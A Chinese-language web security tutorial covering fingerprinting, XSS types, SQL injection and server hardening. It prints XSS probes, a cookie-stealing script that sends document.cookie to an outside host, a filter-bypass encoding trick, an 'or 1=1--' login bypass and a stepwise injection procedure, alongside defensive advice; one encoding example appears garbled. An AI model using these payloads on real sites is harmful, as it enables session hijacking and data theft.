Web安全概述
在Internet大众化及Web技术飞速演变的今天，在线安全所面临的挑战日益严峻。伴随着在线信息和服务的可用性的提升，以及基于Web的攻击和破坏的增长，安全风险达到了前所未有的高度。Web安全可以从以下三个方面进行考虑：Web服务器的安全**、**Web客户端的安全、Web通信信道的安全。
针对Web服务器的攻击可以分为两类：一是利用Web服务器的漏洞进行攻击，如IIS缓冲区溢出漏洞利用、目录遍历漏洞利用等；二是利用网页自身的安全漏洞进行攻击，如SQL注入，跨站脚本攻击等。
针对Web服务器具体的安全威胁主要体现在以下几个方面：
- 服务器程序编写不当导致的缓冲区溢出（Buffer Overflow）并由此导致远程代码执行。
- 针对服务器系统的拒绝服务攻击（Denial of Service）。
- 脚本程序编写不当、过滤不严格造成的数据库查询语句注入（SQL Injection），可能引起信息泄漏、文件越权下载、验证绕过、远程代码执行等。
- 乐观相信用户输入、过滤不严导致跨站脚本攻击（Cross Site Script），在欺骗管理员的前提下，通过精心设计的脚本获得服务端Shell。
Web应用的迅速普及，客户端交互能力获得了极为充分的发挥，客户端的安全也成为Web安全的焦点问题。Java Applet、ActiveX、Cookie等技术大量被使用，当用户使用浏览器查看、编辑网络内容时，采用了这些技术的应用程序会自动下载并在客户机上运行，如果这些程序被恶意使用，可以窃取、改变或删除客户机上的信息。
浏览网页所使用的浏览器存在众多已知或者未知的漏洞，攻击者可以写一个利用某个漏洞的网页，并挂上木马，当用户访问了这个网页之后，就中了木马。这就是网页木马，简称网马。跨站脚本攻击(XSS)对于客户端的安全威胁同样无法忽视，利用XSS的Web蠕虫已经在网络中肆虐过。和其他的Internet应用一样，Web信道同样面临着网络嗅探(Sniffer)和以拥塞信道、耗费资源为目的的拒绝服务攻击(Denial of Service)的威胁。
Web服务器指纹识别
1 指纹识别理论
指纹识别可以分为两步：第一步是对指纹进行收集和分类；第二步是将未知的指纹同被储存在数据库中的指纹进行比较，从而找出最符合的。
当采集指纹的时候，对物体的所有主要特性的抓取是必要的。采集较多的细节，可以对指纹识别的第二步产生很大的帮助。当比较指纹的时候，很有可能有几个指纹是被不合适匹配的，因为指纹之间微小的差别很容易使识别产生错误，这也要求指纹识别需要很高的技术。
2 Web服务器指纹
通过对服务器上的HTTP应用程序安装和配置等信息进行远程刺探，从而了解远程Web服务器的配置信息，然后根据不同版本的Web服务器进行有目的的攻击，这一步骤是web应用攻击的基础过程。而对应的服务器配置信息称为服务器的指纹。
Http指纹识别的原理：记录不同服务器对Http协议执行中的微小差别进行识别。Http指纹识别比TCP/IP堆栈指纹识别复杂许多，理由是定制Http服务器的配置文件、增加插件或组件使得更改Http的响应信息变的很容易，这样使得识别变的困难；然而定制TCP/IP堆栈的行为需要对核心层进行修改，所以就容易识别。
为了防范查看Http应答头信息来识别Http指纹的行为，可以选择通过下面两种方法来更改或者是模糊服务器的Banner信息（Banner指获取web服务器的版本、欢迎语或其它提示信息，以找出可能的有利于攻击的内容）：自定义Http应答头信息、增加插件。
跨站脚本攻击XSS
XSS是跨站脚本攻击(Cross Site Script) 。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该网页时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。
一般是网页中嵌入客户端恶意脚本代码，这些恶意脚本一般是用JS语言编写的，JS可以用来获取用户的Cookie、改变网页内容、URL跳转，则存在XSS漏洞的网站，就可盗取用户Cookie、黑掉页面、导航到恶意网站。由于管理员也是用户，从而XSS也可以攻击"服务器端"。因为管理员要比普通用户的权限大很多，如对网站进行文件管理、数据管理等操作，而攻击者就有可能靠管理员身份作为"跳板"实施攻击。
反射型XSS：发出请求时，XSS代码出现在URL中，作为输入提交给服务端，服务端解析后响应，在响应内容中出现这段XSS代码，最后浏览器解析执行。
假设A网址存在反射XSS跨站漏洞，攻击者可能攻击步骤如下：
- 用户Tom正在A网站论坛上看信息；
- 攻击者发现A存在反射XSS漏洞，编写JS代码，该代码可盗取用户Cookie，并发送到指定站点B；
- 攻击者将带有反射XSS漏洞的URL通过站内信发送给用户Tom，引诱用户点击链接；
- 一旦用户点击，就会将自己的cookie发送给B(攻击者得到)；
- 攻击者可以利用Cookie以Tom的身份登录A，从而获取用户Tom的敏感信息；
DOM型XSS：DOM代表HTML、XHTML和XML中的对象，使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。基于DOM型的XSS是不需要与服务端交互的，它只发生在客户端处理数据阶段。
**存储型XSS：**当攻击者提交XSS代码被服务端接收并存储在服务端，当用户再次访问某个页面时，这段XSS代码被程序读出来响应给浏览器，造成XSS跨站攻击。
XSS攻击可以搜集用户信息，攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户。一旦得手，他们可以盗取用户帐户，修改用户设置，盗取/污染cookie，做虚假广告，查看主机信息等。例如，恶意代码将被欺骗用户的cookie收集起来进行cookie欺骗，或者是在访问者的电脑执行程序，比如后门木马或者是在系统上添加管理员帐户。
实现跨站脚本的攻击至少需要两个条件：需要存在跨站脚本漏洞的web应用程序；需要用户点击连接或者是访问某一页面。
跨站脚本攻击攻击过程：
- 寻找XSS漏洞
我们浏览的网页全部都是基于超文本标记语言（ HTML ）创建的，如显示一个超链接：<A href="http://www.baidu.com">baidu</A>XSS攻击正是通过向HTML代码中注入恶意的脚本实现的，HTML指定了脚本标记为：<script></script>。
在没有过滤字符的情况下，只需要保持完整无错的脚本标记即可触发XSS。假如我们在某个资料表单提交内容，表单提交内容就是某个标记属性所赋的值，我们可以构造如下值来闭合标记来构造完整无错的脚本标记："><script>alert('XSS');</script><"。
把这个内容赋值给前面<A>标记的href属性，则结果形成了<A href=""><script>alert('XSS');</script> <"">baidu</A>这样就可以触发一个XSS的警告窗口。
在寻找XSS漏洞时，如果能看到源代码，我们主要看代码里对用户输入的地方和变量有没有做长度限制和对"<"、">"、";"和"'"等字符是否做过滤。还需要注意的是对于标签的闭合，有的时候，你输入<script>alert('test')</script>，代码是不会被执行的，因为在源代码里，有其它的标签未闭合，例如少了一个</script>。
还有比如对于在网页里显示一张图片，那么就要使用<img>标记，示例如下：<img src ="http://127.0.0.1/xss.gif">浏览器的任务就是解释这个img标记，访问src属性所赋的值中的URL地址并输出图片。然而，浏览器会不会检测src属性所赋的值，如果你将其改成<img src="javascript:alert('XSS')，就可以执行javascript的代码了。
- 注入恶意代码
注入恶意代码的目的是：当被欺骗者访问了含有这段恶意代码的网页时，能实现你的攻击目的。例如，通过这些恶意代码，将访问者的Cookie信息发到远端攻击者手中，或者是提升用户的论坛权限、上传任意文件等。
例如，把cookie发到远程的javascript代码可以这样写 javascript:window.location ='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'+document.cookie
window.location的作用是使网页自动跳转到另一个页面；document.cookie的作用是读取cookie。当然，接收输入的网页可能会对<，>，'，"等字符进行过滤，这时，就需要进行编码了。
IE浏览器默认采用的是UNICODE编码，HTML编码可以用&#ASCII方式来写，这种XSS转码支持10进制和16进制，SQL注入转码是将16进制字符串赋给一个变量，而XSS转码则是针对属性所赋的值，下面就拿 <img src="javascript:alert('XSS');">示例，下面是其对应的16进制转码<imgsrc= "javascrip t:alert('XSS');">。
- 欺骗用户访问
当你把恶意的代码插入到网页中之后，接下来要做的事情就是让目标用户来访问你的网页，"间接"通过这个目标用户来完成你的目的。并不是所有用户都有足够的权限能帮你完成的恶意目的，例如刚才那个在论坛中提升用户权限的跨站脚本，一般的论坛只能超级管理员才有这个权限。这时，你就需要诱骗他来访问你的恶意页面。
SQL注入攻击
程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。攻击者可以提交一段精心构造的数据库查询代码，根据返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。 对输入的参数不进行检查和过滤的系统将收到较大的影响。
假设这么一个情景，一个网页的后台入口处需要验证用户名和密码，验证程序的SQL语句是这样写：Select * from admin where user='TxtBox1.txt' and pass='TxtBox2.txt'。
如果用户填写的用户名和密码都是: 'abc' or 1=1-- 那么将导致SQL语句是：
Select * from admin where user='abc' or 1=1-- and pass='abc' or 1=1--
这条语句是永真式，因为第一个--代表后面是注释，这条语句就变成：
Select * from admin where user='abc' or 1=1
那么攻击者就成功登陆了后台。这就是最简单的SQL注入方式。
SQL注入的过程：
1 寻找可能存在SQL注入漏洞的链接
2 测试该网站是否有SQL注入漏洞
3 猜管理员帐号表
4 猜测管理员表中的字段
5 猜测用户名和密码的长度
6 猜测用户名
7 猜测密码
SQL注入的防范：
由于SQL注入攻击是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以许多防火墙等都不会对SQL注入发出警报。而目前互联网上存在SQL注入漏洞的Web站点并不在少数，对此，网站管理员和Web应用开发程序员必须引起足够的重视。
SQL注入漏洞在网上极为普遍，通常是由于程序员对用户提交的数据和输入参数没有进行严格的过滤所导致的。 比如过滤逗号，单引号，分号等；如果select、delete、from、*、union之类的字符串同时出现多个的话，也要引起重视；最好对用户提交的参数的长度也进行判断。
PHP、ASP没有强制要求处理数据类型，这类语言会根据参数自动推导出数据类型，如id=1,则推导id的数据类型为interger;id=str，则推导id的数据类型为string。这种弱类型语言是相当不安全的。预防SQL注入需要在程序中严格判断数据类型。
防范SQL注入的另一个可行办法是摒弃动态SQL语句，而改用用户存储过程来访问和操作数据。这需要在建立数据库后，仔细考虑Web程序需要对数据库进行的各种操作，并为之建立存储过程，然后让Web程序调用存储过程来完成数据库操作。这样，用户提交的数据将不是用来生成动态SQL语句，而是确确实实地作为参数传递给存储过程，从而有效阻断了SQL注入的途径 。
Web服务器安全配置
Web服务器为互联网用户提供服务的同时，也是黑客攻击的主要对象和攻入系统主机的主要通道。服务器安全配置包括主机系统的安全配置和Web服务器的安全配置两大部分。
这里的主机系统安全性，指的是应用在主机上且与服务器主要服务业务不相关的配置。
- 简单性：主机系统越简单，其安全性就越好。最好把不必要的服务从服务器上卸载掉。每个服务在提供给用户一个服务窗口的同时，也形成了攻击者进入系统的通道。
- 超级用户权限：尽量不要用超级用户来维护系统，以减少泄漏机会。除非非常必要，否则不给予用户超级权限。非专业的人员往往会因为操作上的疏忽而使用户权限被泄漏。
- 本地和远程访问控制：当用户使用服务器提供的服务时，验证其身份，并记录其行为。如果用户出现了破坏安全的行为，这些记录将是审核的重要依据。
- 审计和可审计性：平时对记录进行审计，在系统生成的大量审计记录中查找可疑的数据，来查找攻击者或恶意程序的踪迹。
- 可恢复性：配置实时或增量备份策略就是非常必要的，在紧急关头这可以使得服务器的关键数据得以保存，从而可以迅速恢复服务以减少损失，同时便于事后取证的进行，以追查入侵者。
对于Windows系统Web服务器安全配置，Windows的IIS(即Internet Information Server)的方便性和易用性，使它成为最受欢迎的Web服务器软件之一。但是，IIS的安全性却一直令人担忧。要构建一个安全的IIS服务器，必须从安装时就充分考虑安全问题。 注意不要将IIS安装在系统分区上、修改IIS的安装默认路径、打上Windows和IIS的最新补丁。
对于Unix系统，不以root运行web服务器；限制在Web服务器开账户，定期删除一些用户；对在Web服务器上开的账户，在口令长度及定期更改方面作出要求，防止被盗用。同时注意保护用户名、组名及相应的口令；尽量使FTP、MAIL等服务器与之分开，去掉ftp，sendmail，tftp，NIS， NFS，finger，netstat等一些无关的应用；定期查看服务器中的日志logs文件，分析一切可疑事件。在errorlog中出现rm、login、/bin/perl、/bin/sh等之类记录时，你的服务器可能已经受到了一些非法用户的入侵。
随着互联网的发展，Web已经成为人们钟爱的获取信息和互相交流的方式，随之而来的Web安全也成为近年来安全工作者的研究重点。应该强调的是，高质量的编程、健壮的程序设计、注重对系统的日常监控，从增强Web站点自身的健壮性方面来采取措施，往往更能取得显著效果。